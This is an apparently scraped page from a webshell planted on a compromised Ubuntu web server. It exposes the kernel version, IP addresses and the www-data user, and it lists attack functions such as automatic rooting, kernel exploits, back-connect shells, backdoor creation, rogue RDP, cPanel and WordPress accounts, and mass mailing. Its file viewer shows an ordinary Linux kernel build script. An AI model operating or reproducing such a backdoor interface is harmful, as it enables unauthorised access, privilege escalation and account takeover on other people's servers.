Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 3.144.69.162
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-4.15.0-210 /
arch /
arm /
boot /
[ HOME SHELL ]
Name
Size
Permission
Action
bootp
[ DIR ]
drwxr-xr-x
compressed
[ DIR ]
drwxr-xr-x
dts
[ DIR ]
drwxr-xr-x
Makefile
3.05
KB
-rw-r--r--
deflate_xip_data.sh
1.71
KB
-rwxr-xr-x
install.sh
1.61
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deflate_xip_data.sh
#!/bin/sh # XIP kernel .data segment compressor # # Created by: Nicolas Pitre, August 2017 # Copyright: (C) 2017 Linaro Limited # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # This script locates the start of the .data section in xipImage and # substitutes it with a compressed version. The needed offsets are obtained # from symbol addresses in vmlinux. It is expected that .data extends to # the end of xipImage. set -e VMLINUX="$1" XIPIMAGE="$2" DD="dd status=none" # Use "make V=1" to debug this script. case "$KBUILD_VERBOSE" in *1*) set -x ;; esac sym_val() { # extract hex value for symbol in $1 local val=$($NM "$VMLINUX" | sed -n "/ $1$/{s/ .*$//p;q}") [ "$val" ] || { echo "can't find $1 in $VMLINUX" 1>&2; exit 1; } # convert from hex to decimal echo $((0x$val)) } __data_loc=$(sym_val __data_loc) _edata_loc=$(sym_val _edata_loc) base_offset=$(sym_val _xiprom) # convert to file based offsets data_start=$(($__data_loc - $base_offset)) data_end=$(($_edata_loc - $base_offset)) # Make sure data occupies the last part of the file. file_end=$(stat -c "%s" "$XIPIMAGE") if [ "$file_end" != "$data_end" ]; then printf "end of xipImage doesn't match with _edata_loc (%#x vs %#x)\n" \ $(($file_end + $base_offset)) $_edata_loc 2>&1 exit 1; fi # be ready to clean up trap 'rm -f "$XIPIMAGE.tmp"' 0 1 2 3 # substitute the data section by a compressed version $DD if="$XIPIMAGE" count=$data_start iflag=count_bytes of="$XIPIMAGE.tmp" $DD if="$XIPIMAGE" skip=$data_start iflag=skip_bytes | gzip -9 >> "$XIPIMAGE.tmp" # replace kernel binary mv -f "$XIPIMAGE.tmp" "$XIPIMAGE"
Close